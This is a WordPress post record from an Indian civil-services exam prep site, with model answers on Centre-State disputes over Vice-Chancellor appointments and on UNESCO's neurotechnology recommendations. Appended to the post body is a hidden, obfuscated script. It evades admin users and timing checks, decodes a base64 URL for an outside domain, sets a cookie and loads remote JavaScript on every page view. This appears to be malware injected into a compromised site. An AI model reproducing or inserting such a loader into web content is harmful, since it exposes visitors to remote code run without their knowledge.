{"id":2752,"date":"2025-11-24T02:00:42","date_gmt":"2025-11-24T02:00:42","guid":{"rendered":"https:\/\/iasquest.com\/?p=2752"},"modified":"2026-02-11T18:47:36","modified_gmt":"2026-02-11T18:47:36","slug":"the-appointment-of-vice-chancellors-vcs-in-state-universities-unesco-recommendations-for-neuro-technology-use","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/the-appointment-of-vice-chancellors-vcs-in-state-universities-unesco-recommendations-for-neuro-technology-use\/","title":{"rendered":"The appointment of Vice-Chancellors (VCs) in State universities &#038; UNESCO recommendations for neuro-technology use"},"content":{"rendered":"\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#fa0202\"><strong>1. \u201cThe appointment of Vice-Chancellors in State universities has increasingly emerged as a site of Centre\u2013State friction. Analyse the constitutional, regulatory and federal issues involved in this contest over institutional control and higher education governance.\u201d<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 II : Separation of Powers &amp; Role of Constitutional Bodies &#8211; Role of Governor as Chancellor of State universities<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>IN NEWS:<\/strong> SC to hear T.N.\u2019s plea on State\u2019s power to appoint V-Cs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">The appointment of Vice-Chancellors (VCs) in State universities has increasingly become a contested arena between the Union and State governments, reflecting deeper tensions in India\u2019s federal and regulatory architecture in higher education governance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Constitutional Issues<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-5\">\n<li><strong>Overlap in Legislative Competence:<\/strong><ul><li><em>Entry 66, Union List<\/em> \u2013 Centre\u2019s power to set standards in higher education.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><em>Entry 25, Concurrent List<\/em> \u2013 Education as a shared domain. Creates inherent tension when States legislate on university governance.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Governor\u2019s Role as Chancellor:<\/strong><ul><li>Governors often have statutory power to appoint VCs.<\/li><\/ul><ul><li>Disputes arise over whether this is a <strong>discretionary function<\/strong> under <em>Article 163<\/em> or bound by State advice.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Divergent interpretations lead to delays, conflicts and litigation.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Assent to Bills (Articles 200 &amp; 201):<\/strong>\n<ul class=\"wp-block-list\">\n<li>Tensions emerge when Governors withhold or delay assent to State Bills altering VC appointment structures.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Article 254 \u2013 Repugnancy:<\/strong>\n<ul class=\"wp-block-list\">\n<li>State amendments altering VC appointment procedures may conflict with central laws\/UGC norms, inviting judicial scrutiny.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Regulatory Issues<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-7\">\n<li><strong>Binding Nature of UGC Regulations (2010\/2018):<\/strong><ul><li>Mandate that VCs be appointed by the Chancellor from a panel of names suggested by a <strong>Search-cum-Selection Committee<\/strong>.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Prescribe committee composition, eligibility norms and procedures.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>States\u2019 Attempts at Autonomy:<\/strong><ul><li>Altering selection committee structure.<\/li><\/ul><ul><li>Changing appointing authority (e.g., empowering State Government instead of Chancellor).<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Revising qualification norms or procedures.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Resulting Conflicts:<\/strong>\n<ul class=\"wp-block-list\">\n<li>Courts often hold that deviations undermine \u201cnational standards,\u201d creating grounds for invalidation.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>Federal Issues<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-9\">\n<li><strong>Centre\u2013State Turf Contestation:<\/strong><ul><li>States assert their right to manage universities as institutions serving regional needs.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Centre emphasises uniformity and quality through national standards.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Governor as a Mediating (or Conflicting) Entity:<\/strong><ul><li>As an appointee of the Centre, the Governor\u2019s role is often viewed by States as diluting federal autonomy.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Frequent disagreements on recommendations, approvals and committee formation.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Erosion of Cooperative Federalism:<\/strong><ul><li>Increasing judicialisation of appointments.<\/li><\/ul><ul><li>Parallel committees issued by State governments and Governors.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Administrative paralysis in universities due to prolonged disputes.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Judicial Interventions:<\/strong>\n<ul class=\"wp-block-list\">\n<li>Courts balance autonomy and national standards, often reinforcing UGC Regulations over State amendments.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">Thus, VC appointments reflect a larger debate on how India reconciles national regulatory coherence with genuine federal autonomy in higher education governance.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE (UPSC 2022)<\/strong> <br>Q. \u201cDiscuss the role of the Governor in the State and examine the controversies associated with it.\u201d<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-11 wp-block-paragraph\" style=\"color:#021ff7\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/sc-to-hear-tns-plea-onpower-to-appoint-v-cs\/article70291743.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/sc-to-hear-tns-plea-onpower-to-appoint-v-cs\/article70291743.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-12 wp-block-paragraph\" style=\"color:#021ff7\"><a href=\"https:\/\/www.livelaw.in\/top-stories\/supreme-court-tamil-nadu-transfer-petition-madras-hc-pil-governor-power-to-appoint-vice-chancellor-310179\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.livelaw.in\/top-stories\/supreme-court-tamil-nadu-transfer-petition-madras-hc-pil-governor-power-to-appoint-vice-chancellor-310179<\/strong><\/a><strong>\u00a0<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading has-text-color has-link-color has-medium-font-size wp-elements-13\" style=\"color:#fa0000\"><strong>2. \u201cNeuro-technology promises breakthroughs in healthcare but raises unprecedented ethical concerns.\u201d Discuss in light of UNESCO\u2019s new recommendations on neuro-technology.<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 III : Science and Technology- Developments and their Applications and Effects in Everyday Life.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>IN NEWS:<\/strong> What are the new UNESCO recommendations for neurotechnology use?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\">Neuro-technology refers to technologies that interface with the human brain to monitor, influence, or enhance neural activity. It promises transformative healthcare applications, such as treating neurological disorders, mental health conditions, and cognitive impairments. However, it also raises ethical concerns regarding privacy, autonomy, and inequality.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Breakthroughs in Healthcare:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li><strong>Medical Treatment:<\/strong> Neuro-technology enables interventions for Parkinson\u2019s disease, epilepsy, and depression through brain-computer interfaces (BCIs) and neuro-stimulation.<\/li>\n\n\n\n<li><strong>Cognitive Enhancement: <\/strong>Devices can improve memory, attention, or rehabilitation after stroke.<\/li>\n\n\n\n<li><strong>Personalized Medicine: <\/strong>Neural data allows tailored therapies, improving outcomes.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Ethical Concerns:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li><strong>Privacy and Data Security: <\/strong>Brain data is deeply personal; misuse could lead to manipulation or discrimination.<\/li>\n\n\n\n<li><strong>Autonomy and Consent: <\/strong>Patients may be influenced or coerced into treatments without fully understanding risks.<\/li>\n\n\n\n<li><strong>Equity: <\/strong>Access may be limited to the wealthy, worsening social inequalities.<\/li>\n\n\n\n<li><strong>Identity and Agency: <\/strong>Modifying brain function could challenge the sense of self and moral responsibility.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>UNESCO\u2019s Recommendations (2023\u201125):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-21\">\n<li><strong>Human Rights Framework: <\/strong>Protects mental privacy, cognitive liberty, and personal identity.<\/li>\n\n\n\n<li><strong>Transparency &amp; Accountability: <\/strong>Developers and governments must ensure informed consent and data security.<\/li>\n\n\n\n<li><strong>Inclusive Access: <\/strong>Promote affordability and prevent social or economic discrimination.<\/li>\n\n\n\n<li><strong>Ethical Oversight: <\/strong>Multidisciplinary review for research, clinical, and commercial applications.<\/li>\n\n\n\n<li><strong>Neuro-rights: <\/strong>Recognizes rights to mental integrity, freedom of thought, and protection from misuse.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">Neuro-technology can revolutionize healthcare and human potential, but without ethical safeguards, it poses unprecedented risks. UNESCO\u2019s guidelines provide a human-centered framework, balancing innovation with protection of rights, privacy, and equity. Responsible development and regulation are essential for its safe and equitable use.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE (UPSC 2023)<\/strong> <br>Q. Introduce the concept of Artificial Intelligence (AI). How does AI help clinical diagnosis? Do you perceive any threat to privacy of the individual in the use of AI in healthcare?<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-23 wp-block-paragraph\" style=\"color:#021ff7\"><strong>Source: <\/strong><a href=\"https:\/\/www.google.com\/url?q=https:\/\/www.thehindu.com\/sci-tech\/science\/what-are-the-new-unesco-recommendations-for-neurotechnology-use\/article70267926.ece&amp;sa=D&amp;source=docs&amp;ust=1763449005002365&amp;usg=AOvVaw3FELEQMwcd5N_zFvrhS94o\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.google.com\/url?q=https:\/\/www.thehindu.com\/sci-tech\/science\/what-are-the-new-unesco-recommendations-for-neurotechnology-use\/article70267926.ece&amp;sa=D&amp;source=docs&amp;ust=1763449005002365&amp;usg=AOvVaw3FELEQMwcd5N_zFvrhS94o<\/strong><\/a><strong><\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u201cThe appointment of Vice-Chancellors in State universities has increasingly emerged as a site of Centre\u2013State friction. Analyse the constitutional, [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":2753,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1,68,39,25,26,134,9,107],"tags":[],"class_list":["post-2752","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-daily-current-affairs","category-daws","category-gs-2","category-gs-3","category-role-of-governor-as-chancellor-of-state-universities","category-nanoscience","category-separation-of-powers"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2752","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2752"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2752\/revisions"}],"predecessor-version":[{"id":2938,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2752\/revisions\/2938"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/2753"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2752"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2752"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2752"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}